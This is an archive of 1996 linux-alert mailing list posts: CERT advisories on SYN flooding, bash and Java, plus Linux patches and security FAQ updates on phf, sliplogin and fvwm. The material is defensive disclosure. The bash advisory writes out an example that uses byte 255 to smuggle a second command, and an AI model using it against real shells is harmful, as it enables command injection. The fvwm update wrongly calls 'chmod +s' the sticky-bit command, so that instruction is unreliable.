up-to-date explanation of how to address TCP SYN flooding on a Cisco router. NOTE to vendors: If you are a router vendor who has information on router capabilities and configuration examples and you are not represented in this list, please contact the CERT Coordination Center at the addresses given in the Contact Information section below. We will update the advisory after we hear from you. 3. Alternative for routers that do not support filtering on the inbound side - ---------------------------------------------------------------------------- If your vendor's router does not support filtering on the inbound side of the interface or if there will be a delay in incorporating the feature into your system, you may filter the spoofed IP packets by using a second router between your external interface and your outside connection. Configure this router to block, on the outgoing interface connected to your original router, all packets that have a source address in your internal network. For this purpose, you can use a filtering router or a UNIX system with two interfaces that supports packet filtering. Note: Disabling source routing at the router does not protect you from this attack, but it is still good security practice to follow. On the input to your external interface, that is coming from the Internet to your network, you should block packets with the following addresses: * Broadcast Networks: The addresses to block here are network 0 (the all zeros broadcast address) and network 255.255.255.255 (the all ones broadcast network). * Your local network(s): These are your network addresses * Reserved private networks: The following networks are defined as reserved private networks and no traffic should ever be received from or transmitted to these networks through a router: 10.0.0.0 127.0.0.0 172.16.0.0 192.168.0.0 - ----------------------------------------------------------------------------- The CERT Coordination Center staff thanks the team members of NASIRC for contributing much of the text for this advisory and thanks the many experts who are devoting time to addressing the problem and who provided input to this advisory. - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - ---------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMkGmUnVP+x0t4w7BAQHPcgP9Fxarwmbfq9rQtj3+CktCU3HtYtX4wgSQ RW+hl6Z9lig61ha+bgEyEUqj/1ishwlJopgJ7LOMjgfzjGZt/25/+XmHCrOcUSNx +eoqAcg59eisXtWXFgOLgfcadcH/9dDRHn3WUcXYrAFFpXPREBS66P2Tbo8MlmzX l0LbKYde7uc= =iZ8P -----END PGP SIGNATURE----- linux-alert/linux-alert.9610100664 1767 1767 32063 6232715330 15177 0ustar majdommajdomFrom [email protected] Wed Oct 9 13:01:15 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id NAA03748; Wed, 9 Oct 1996 13:01:15 -0400 Resent-Date: Wed, 9 Oct 1996 12:49:47 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 Reply-To: [email protected] From: CERT Advisory To: [email protected] Subject: [linux-alert] CERT Advisory CA-96.22 - Vulnerabilities in bash Date: Tue, 8 Oct 1996 10:30:28 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery This is now rather old news, but I tend to pass on all CERT advisories that are related to or affect Linux anyway, primarily for those that might have missed the news previously. -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.22 Original issue date: October 8, 1996 Last revised: -- Topic: Vulnerabilities in bash - ------------------------------------------------------------------------------ The original technical content for this advisory was published by the IBM-ERS response team and is used here with their permission. This advisory describes two problems with the GNU Project's Bourne Again SHell (bash): one in yy_string_get() and one in yy_readline_get(). The vulnerability in yy_string_get() allows the character with value 255 decimal to be used as a command separator. When used in environments where users provide strings to be used as commands or arguments to commands, bash can be tricked into executing arbitrary commands. It is not clear whether the problem with yy_readline_get() results in an exploitable vulnerability, though you may want to address both problems for completeness. The problems affect bash versions 1.14.6 and earlier. The CERT/CC team recommends that you upgrade to bash 1.14.7 as soon as possible, as discussed in Section III.A below. Section III.B contains a patch for 1.14.7, which we recommend using to address the yy_readline_get() problem. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. - ---------------------------------------------------------------------------- I. Description A. Introduction The GNU Project's Bourne Again SHell (bash) is a drop-in replacement for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the standard shell, and it also includes additional functionality such as job control, command line editing, and history. Although bash can be compiled and installed on almost any UNIX platform, its most prevalent use is on "free" versions of UNIX such as Linux, where it has been installed as "/bin/sh" (the default shell for most uses). The bash source code is freely available from many sites on the Internet. B. Vulnerability Details 1. Vulnerability in yy_string_get() There is a variable declaration error in the "yy_string_get()" function in the "parse.y" module of the "bash" source code. This function is responsible for parsing the user-provided command line into separate tokens (commands, special characters, arguments, etc.). The error involves the variable "string", which has been declared to be of type "char *". The "string" variable is used to traverse the character string containing the command line to be parsed. As characters are retrieved from this pointer, they are stored in a variable of type "int". On systems/compilers where the "char" type defaults to "signed char" this value will be sign-extended when it is assigned to the "int" variable. For character code 255 decimal (-1 in two's complement form), this sign extension results in the value (-1) being assigned to the integer. However, (-1) is used in other parts of the parser to indicate the end of a command. Thus, the character code 255 decimal (377 octal) will serve as an unintended command separator for commands given to bash via the "-c" option. For example, bash -c 'ls\377who' (where "\377" represents the single character with value 255 decimal) will execute two commands, "ls" and "who". 2. Possible vulnerability in yy_readline_get() A similar problem exists with the "yy_readline_get()" function, which is also in the file "parse.y" and which is used to read commands in interactive shells (ones that print a prompt and read from the keyboard, a shell script, or a pipe). It is not clear that this problem produces any exploitable vulnerabilities in the bash program; however, you may wish to address the problem for the sake of completeness. II. Impact This unexpected command separator can be dangerous, especially on systems such as Linux where bash has been installed as "/bin/sh," when a program executes a command with a string provided by a user as an argument using the "system()" or "popen()" functions (or by calling "/bin/sh -c string" directly). This is especially true for the CGI programming interface in World Wide Web servers, many of which do not strip out characters with value 255 decimal. If a user sending data to the server can specify the character code 255 in a string that is passed to a shell, and that shell is bash, the user can execute any arbitrary command with the user-id and permissions of the user running the server (frequently "root"). The bash built-in commands "eval," "source," and "fc" are also potentially vulnerable to this problem. III. Solution A. Vulnerability in yy_string_get On 27 August 1996, Version 1.14.7 of bash was released. You can obtain this new version from: ftp://slc2.ins.cwru.edu/pub/dist/bash-1.14.7.tar.gz B. Vulnerability in yy_readline_get It is not clear that this problem produces any exploitable vulnerabilities in the "bash" program; however, you may wish to address the problem for the sake of completeness. This problem can be alleviated by applying the patch below to the bash source code, then recompiling the program, and installing the new version. The patch below is for Version 1.14.7 of bash. Source code for this version can be obtained from the site listed above. - ---------------------------------- cut here --------------------------------- *** parse.y.old Mon Aug 26 11:15:55 1996 - - - - --- parse.y Wed Aug 28 08:49:15 1996 *************** *** 801,807 **** #if defined (READLINE) char *current_readline_prompt = (char *)NULL; ! char *current_readline_line = (char *)NULL; int current_readline_line_index = 0; static int - - - - --- 801,807 ---- #if defined (READLINE) char *current_readline_prompt = (char *)NULL; ! unsigned char *current_readline_line = (unsigned char *)NULL; int current_readline_line_index = 0; static int - --------------------------------- cut here ---------------------------------- To apply this patch, save the text between the two "--- cut here ---" lines to a file, change directories to the bash source directory, and issue the command patch < filename If you do not have the patch program, you can obtain it from ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz or you can apply the patch by hand. After applying the patch, recompile and reinstall the bash program by following the directions in the "INSTALL" file, included as part of the bash distribution. - ---------------------------------------------------------------------------- The CERT Coordination Center thanks IBM-ERS for permission to reproduce the technical content in their IBM Emergency Response Service Security Vulnerability Alerts ERS-SVA-E01-1006:004.1 and ERS-SVA-E01-1006:004.2. These alerts are copyrighted 1996 International Business Machines Corporation. - ---------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - --------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - ----------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - ----------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.22.bash_vuls http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMlpe6nVP+x0t4w7BAQGXjQP7BkkMX06QR3nQEV2FV6Qo4p0bVSU88Kef a9kjcXhJyUM1gE0QnLNo8dbL5PAUvatlRDowZv71l+UTh0BZum8apq+dpOhe+WF+ ko95vQEqKbfSkY7FiTrOY/gKJZWMV31ddlwCldl68OKbuRqQg6hfgWSQX264jWb3 m+nIj5VkuK8= =Fodb -----END PGP SIGNATURE----- From [email protected] Mon Oct 21 11:46:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.8.0/$Revision: 2.10 $) id LAA21521; Mon, 21 Oct 1996 11:46:31 -0400 Resent-Date: Mon, 21 Oct 1996 11:45:26 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-Id: <[email protected]> From: Alan Cox To: [email protected] Cc: [email protected], [email protected] Subject: [linux-alert] URGENT: Bug in linux networking stack Date: Mon, 21 Oct 1996 10:25:45 +0100 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: special-delivery There is a nasty bug whereby AIX, Digital Unix, Linux and possibly some other systems can be brought down remotely by a suitably constructed oversize packet. Unfortunately a bug in another well known PC operating system means its easy to generate such packets. ** This bug is being actively exploited on the internet against all the ** mentioned systems. This fix should be considered essential as should ** other equivalent vendor fixes The following Linux fix drops such faulty frames and will also be included in 2.0.24 Alan Cox [Patch also available from http://www.uk.linux.org/patches/] --- ip_fragment.c.old Mon Sep 16 22:14:52 1996 +++ ip_fragment.c Sat Oct 19 01:04:47 1996 @@ -366,7 +366,7 @@ { NETDEBUG(printk("Invalid fragment list: Fragment over size.\n")); ip_free(qp); - frag_kfree_skb(skb,FREE_WRITE); + kfree_skb(skb,FREE_WRITE); ip_statistics.IpReasmFails++; return NULL; } @@ -466,6 +466,18 @@ return NULL; } } + + /* + * Attempt to construct an oversize packet. + */ + + if(ntohs(iph->tot_len)+(int)offset>65535) + { + skb->sk = NULL; + frag_kfree_skb(skb, FREE_READ); + ip_statistics.IpReasmFails++; + return NULL; + } /* * Determine the position of this fragment. linux-alert-digest/ 42775 1767 1767 0 6235342020 13543 5ustar majdommajdomlinux-alert-digest/CONTENTS100664 1767 1767 5644 6246256234 15044 0ustar majdommajdom v02.n005: linux-alert-digest V2 #5 [linux-alert] CERT Advisory CA-96.05 - Java [linux-alert] NCSA httpd cgi-bin application vulnerability. v02.n006: linux-alert-digest V2 #6 [linux-alert] Problem with sliplogin on Linux v02.n001: linux-alert-digest V2 #1 CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability LSF Update#10: Another correction. v02.n002: linux-alert-digest V2 #2 Linux: dip security hole dump RedHat security hole Re: Linux: dip security hole Red Hat mh inc/msgchk security hole XFree86 3.1.2 Security Problems v02.n003: linux-alert-digest V2 #3 bind() Security Problems LSF Update#11: Vulnerability of rxvt Problem with minicom 1.71 abuse Red Hat 2.1 security hole resizecons Red Hat 2.1 security hole v02.n004: linux-alert-digest V2 #4 [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com v02.n007: linux-alert-digest V2 #7 [linux-alert] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [linux-alert] Technical problems...please do not adjust your T.V. v02.n008: linux-alert-digest V2 #8 [linux-alert] Yet Another Java Hole. Another way to run native code from Java applets [linux-alert] Administrative note regarding subscriptions. v02.n009: linux-alert-digest V2 #9 [linux-alert] Serious Security hole in getpwnam () Serious Security hole in getpwnam () v02.n010: linux-alert-digest V2 #10 [linux-alert] CERT Advisory CA-96.12 - Vulnerability in suidperl v02.n011: linux-alert-digest V2 #11 [linux-alert] CERT Advisory CA-96.13.dip_vul (dip vulnerability). v02.n012: linux-alert-digest V2 #12 [linux-alert] Linux NetKit-B update. [linux-alert] LSF Update#11: Vulnerability of rlogin v02.n013: linux-alert-digest V2 #13 [linux-alert] Vulnerability in ALL linux distributions [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux [linux-alert] SECURITY FIX/UPDATE: anonftp [linux-alert] SECURITY FIX/UPDATE: anonftp v02.n014: linux-alert-digest V2 #14 [linux-alert] Security vulnerability in 'bash' [linux-alert] Re: [linux-security] RESOLV_HOST_CONF [linux-alert] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 v02.n015: linux-alert-digest V2 #15 [linux-alert] CIAC Bulletin G-42:Vulnerability in WorkMan Program [linux-alert] CERT Advisory CA-96.20 - Sendmail Vulnerabilities v02.n016: linux-alert-digest V2 #16 [linux-alert] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks v02.n017: linux-alert-digest V2 #17 [linux-alert] CERT Advisory CA-96.22 - Vulnerabilities in bash v02.n018: linux-alert-digest V2 #18 [linux-alert] URGENT: Bug in linux networking stack linux-alert-digest/TOPICS100664 1767 1767 5360 6246256234 14603 0ustar majdommajdom[linux-alert] Administrative note reg... v02.n008 [linux-alert] CERT Advisory CA-96.05 ... v02.n005 [linux-alert] CERT Advisory CA-96.07 ... v02.n007 [linux-alert] CERT Advisory CA-96.12 ... v02.n010 [linux-alert] CERT Advisory CA-96.13.... v02.n011 [linux-alert] CERT Advisory CA-96.20 ... v02.n015 [linux-alert] CERT Advisory CA-96.21 ... v02.n016 [linux-alert] CERT Advisory CA-96.22 ... v02.n017 [linux-alert] CIAC Bulletin G-42:Vuln... v02.n015 [linux-alert] Linux NetKit-B update. v02.n012 [linux-alert] LSF Update#11: Vulnerab... v02.n012 [linux-alert] LSF Update#13: Vulnerab... v02.n014 [linux-alert] NCSA httpd cgi-bin appl... v02.n005 [linux-alert] Problem with sliplogin ... v02.n006 [linux-alert] Re: [linux-security] RE... v02.n014 [linux-alert] SECURITY ALERT/FIX: mou... v02.n013 [linux-alert] SECURITY FIX/UPDATE: an... v02.n013 [linux-alert] SECURITY FIX: New kbd R... v02.n004 [linux-alert] Security vulnerability ... v02.n014 [linux-alert] Serious Security hole i... v02.n009 [linux-alert] Technical problems...pl... v02.n007 [linux-alert] URGENT: Bug in linux ne... v02.n018 [linux-alert] Vulnerability in ALL li... v02.n013 [linux-alert] Yet Another Java Hole. v02.n008 abuse Red Hat 2.1 security hole v02.n003 Another way to run native code from J... v02.n008 bind() Security Problems v02.n003 CERT Advisory CA-96.07 - Weaknesses i... v02.n007 CORRECTED(!) Linux Security FAQ Updat... v02.n001 dump RedHat security hole v02.n002 linux-alert-digest V2 #1 v02.n001 linux-alert-digest V2 #10 v02.n010 linux-alert-digest V2 #11 v02.n011 linux-alert-digest V2 #12 v02.n012 linux-alert-digest V2 #13 v02.n013 linux-alert-digest V2 #14 v02.n014 linux-alert-digest V2 #15 v02.n015 linux-alert-digest V2 #16 v02.n016 linux-alert-digest V2 #17 v02.n017 linux-alert-digest V2 #18 v02.n018 linux-alert-digest V2 #2 v02.n002 linux-alert-digest V2 #3 v02.n003 linux-alert-digest V2 #4 v02.n004 linux-alert-digest V2 #5 v02.n005 linux-alert-digest V2 #6 v02.n006 linux-alert-digest V2 #7 v02.n007 linux-alert-digest V2 #8 v02.n008 linux-alert-digest V2 #9 v02.n009 Linux: dip security hole v02.n002 LSF Update#10: Another correction. v02.n001 LSF Update#11: Vulnerability of rxvt v02.n003 Problem with minicom 1.71 v02.n003 Red Hat mh inc/msgchk security hole v02.n002 resizecons Red Hat 2.1 security hole v02.n003 Serious Security hole in getpwnam () v02.n009 XFree86 3.1.2 Security Problems v02.n002 linux-alert-digest/v02.n005100664 1767 1767 21603 6121505421 14673 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #5 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Wednesday, 13 March 1996 Volume 02 : Number 005 [linux-alert] CERT Advisory CA-96.05 - Java [linux-alert] NCSA httpd cgi-bin application vulnerability. ---------------------------------------------------------------------- From: CERT Advisory Date: Tue, 5 Mar 1996 13:34:09 -0500 Subject: [linux-alert] CERT Advisory CA-96.05 - Java ============================================================================= CERT(sm) Advisory CA-96.05 March 5, 1996 Topic: Java Implementations Can Allow Connections to an Arbitrary Host - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a vulnerability in implementations of the Java Applet Security Manager. This vulnerability is present in the Netscape Navigator 2.0 Java implementation and in Release 1.0 of the Java Developer's Kit from Sun Microsystems, Inc. These implementations do not correctly implement the policy that an applet may connect only to the host from which the applet was loaded. The CERT Coordination Center recommends installing patches from the vendors, and using the workaround described in Section III until patches can be installed. As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.05.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description There is a serious security problem with the Netscape Navigator 2.0 Java implementation. The vulnerability is also present in the Java Developer's Kit 1.0 from Sun Microsystems, Inc. The restriction allowing an applet to connect only to the host from which it was loaded is not properly enforced. This vulnerability, combined with the subversion of the DNS system, allows an applet to open a connection to an arbitrary host on the Internet. In these Java implementations, the Applet Security Manager allows an applet to connect to any of the IP addresses associated with the name of the computer from which it came. This is a weaker policy than the stated policy and leads to the vulnerability described herein. II. Impact Java applets can connect to arbitrary hosts on the Internet, including those presumed to be previously inaccessible, such as hosts behind a firewall. Bugs in any TCP/IP-based network service can then be exploited. In addition, services previously thought to be secure by virtue of their location behind a firewall can be attacked. III. Solution To fix this problem, the Applet Security Manager must be more strict in deciding which hosts an applet is allowed to connect to. The Java system needs to take note of the actual IP address that the applet truly came from (getting that numerical address from the applet's packets as the applet is being loaded), and thereafter allow the applet to connect only to that same numerical address. We urge you to obtain vendor patches as they become available. Until you can install the patches that implement the more strict applet connection restrictions, you should apply the workarounds described in each section below. A. Netscape users For Netscape Navigator 2.0, use the following URL to learn more about the problem and how to download and install a patch: http://home.netscape.com/newsref/std/java_security.html Until you install the patch, disable Java using the "Security Preferences" dialog box. B. Sun users A patch for Sun's HotJava will be available soon. Until you can install the patch, disable applet downloading by selecting "Options" then "Security...". In the "Enter desired security mode" menu, select the "No access" option. In addition, select the "Apply security mode to applet loading" to disable applet loading entirely, regardless of the source of the applet. C. Both Netscape and Sun users If you operate an HTTP proxy server, you could also disable applets by refusing to fetch Java ".class" files. - --------------------------------------------------------------------------- The CERT Coordination Center thanks Drew Dean, Ed Felton, and Dan Wallach of Princeton University for providing information for this advisory. We thank Netscape Communications Corporation, especially Jeff Truehaft, and Sun Microsystems, Inc., especially Marianne Mueller, for their response to this problem. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. ------------------------------ From: Jeff Uphoff Date: Fri, 8 Mar 1996 03:15:51 -0500 Subject: [linux-alert] NCSA httpd cgi-bin application vulnerability. If you are running NCSA's httpd WWW server (or, conceivably, someone else's), have compiled the phf.c application found in the NCSA distribution's cgi-src directory, and have installed it into an area designated for cgi-bin applications, please 'chmod a-x' it immediately. (This applies to *at least* the phf.c application as provided with NCSA httpd versions 1.3 and 1.5a-export; I've not inspected the other distributions yet.) Many sites (I've looked around a bit and have had a hit rate of roughly 50% so far, but maybe I'm just "lucky")--including the top-level WWW servers for some large and/or very high-profile domains--appear to have "blindly" installed all of the cgi-src applications provided with NCSA's httpd. The most notable aspect of this particular cgi-bin vulnerability, at least to me, is not so much the vulnerability itself (it's been seen before) but rather its quite widespread nature. This vulnerability allows a remote client to retrieve any world-readable file from the server system, as well as execute commands and create files on the server with the privileges of the euid of the httpd server process. Depending on the server's (mis)configuration, this could conceivably be used as an avenue through which to replace the httpd server binary itself with a trojan--quite possibly to be run as root during the system's next boot cycle. It can also be used, largely independent of the server system's configuration--and rather easily--to gain remote interactive access to the server with the userid that the httpd server runs under. (I'm sure there are lots of other "nifty" possibilities, but I first found out about this a just few waking hours ago and have so far performed only the most basic proof-of-concept exploits.) More details (full disclosure, etc.) to follow on the linux-security list and on Bugtraq.... - --Up. P.S. I'll bet everyone just can't wait for Java! - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ End of linux-alert-digest V2 #5 ******************************* linux-alert-digest/v02.n006100664 1767 1767 3633 6126721421 14664 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #6 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Friday, 29 March 1996 Volume 02 : Number 006 [linux-alert] Problem with sliplogin on Linux ---------------------------------------------------------------------- From: Olaf Kirch Date: Wed, 20 Mar 1996 19:58:05 +0100 Subject: [linux-alert] Problem with sliplogin on Linux - -----BEGIN PGP SIGNED MESSAGE----- Hi all, When installed to provide users with SLIP accounts on your system, sliplogin can be abused to execute commands under the root uid. This hole does *not* seem to be expoitable when you don't have any SLIP users configured in your /etc/passwd. I'm not going to give away the details of the exploit yet; watch for a follow-up posting to linux-security within a week or two. Anyone providing SLIP logins using this program should upgrade to the latest version from sunsite.unc.edu: ftp://sunsite.unc.edu/pub/linux/system/Network/serial/sliplogin-2.0.2.tar.gz md5sum: 1634ab3f8d0ce130e59476ede9662ee5 sliplogin-2.0.2.tar.gz Cheers Olaf PS: you may have to adapt your login/logout scripts because the argument list has been changed throughout several releases. - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMVBVMeFnVHXv40etAQEnpQQAgdiPpmGgrGVDx0zuGSjObCEcn6+EMMSu liVU/Ct4XCZegSHD3nmE0naspSSqAenjjisVrySr2UJFZBbYIoHKc9/z5ATikeyE nmk+bWQ4H57iCninlBhgk+BRgqd8++GlNjPnLgjSrvNWDc75ESzxhXAYJ1nyMRdM UHunzxZ80SA= =YYZI - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #6 ******************************* linux-alert-digest/v02.n001100664 1767 1767 25462 6100125620 14672 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #1 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Saturday, 20 January 1996 Volume 02 : Number 001 CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability LSF Update#10: Another correction. ---------------------------------------------------------------------- From: "Alexander O. Yuriev" Date: Fri, 12 Jan 1996 01:10:19 -0500 (EST) Subject: CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability - -----BEGIN PGP SIGNED MESSAGE----- [ LINUX SECURITY FAQ UPDATES ADMIN INFORMARION ] 1. The Linux Security FAQ Update #10 released on Jan 11, 1996 is hereby REVOKED. Please disregard information in the Linux Security FAQ Update#10 released on Jan 11, 1996 2. The Linux Security FAQ Update #10 released on Jan 12, 1996 is hereby made an OFFICIAL Linux Security FAQ Update#10 regarding the fvwm vulnerability. This is corrected LSF Update#10. In the version of LSF Update#10 dated January 11, 1996, and signed with a key "1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key " an error was made in the "Other Distributions" section. Unfortunatly, no one noticed that error prior to the Update being released. -- Alexander O. Yuriev ([email protected]) - - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update Vulnerability of FVWM January 12, 1996 00:46:37 EST Copyright (C) 1995-96 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the FVWM version 1.24 and versions prior to that. This vulnerability allows intruders to execute programs as users other than themselves. Under certain circumstances if root uses fvwm, a compromise of a root account is possible. This Linux Security FAQ Update provides information about ways to fix this hole. RISK ASSESSMENT In certain situations local users can execute commands under different UID. Root compromise is possible only if root account is used to run fvwm, which is not advisable. SOLUTION TO THE PROBLEM The successful attack against fvwm exploits a race condition that occurs when fvwm performs certain operations. The following information should allow one to prevent the race condition from occurring. 1. /tmp directory should be owned by (root:root) with world-write, world-execute and world-read permissions. A sticky bit is *required* on this directory. Use the following set of commands to change your /tmp directory parameters to conform with the requirements: chown root.root /tmp (make ownership (root:root)) chmod 777 /tmp (make protection mode 777) chmod +s /tmp (place a sticky bit on) 2. Install appropriate distribution-specific fix Red Hat Commercial Linux 2.0 and 2.1 Marc Ewing ([email protected]) provided the following information about the official Red Hat RPM that fixes the hole. The RPM for Intel architecture can be obtained from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/fvwm-1.24r-5.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.i386.rpm Users of RedHat/AXP should install fvwm for AXP architecture. It is available from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/fvwm-1.24r-5.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.axp.rpm Please verify the MD5 hash of the file prior to installing it. af4bb44d5f3a390f04c5b0467b00e2a6 fvwm-1.24r-5.i386.rpm 88ae8be7f633192ccbd2f0cb407b7ecc fvwm-1.24r-5.axp.rpm Caldera Network Desktop Preview II users should follow the instructions for Red Hat Commercial Linux 2.0 and 2.1 to install updated RPM Debian/GNU Linux Ian Murdock ([email protected]) provided the following information about the official fvwm replacement for the Debian/GNU Linux. The replacement can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/x11/fvwm-1.24r-10.deb ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/fvwm-1.24r-10.deb Please verify the MD5 hash of the file prior to installing it. 05958bb6eff51df2b933c268544c6541 fvwm-1.24r-10.deb Slackware All Slackware Linux distributions, including Slackware 3.0 use vulnerable fvwm. The maintainer of Slackware 3.0, Patrick J. Volkerding, did acknowledge the problem and but did not have Slackware specific patch on Jan 11, 1996. It is recommended that until the Slackware 3.0 package that fixes this fvwm hole becomes available, users of Slackware should follow instructions in the "Other Distributions" section. Yggdrasil All distributions of Yggdrasil Plus & Play Linux are believed to be vulnerable. Yggdrasil Inc, neither acknowledged the problem nor provided any information from which it could be concluded that their distributions are not vulnerable. It is recommended that even if Yggdrasil Inc, does not acknowledge the existence of this problem, users of Yggdrasil distributions should follow the instructions in the "Other Distributions" 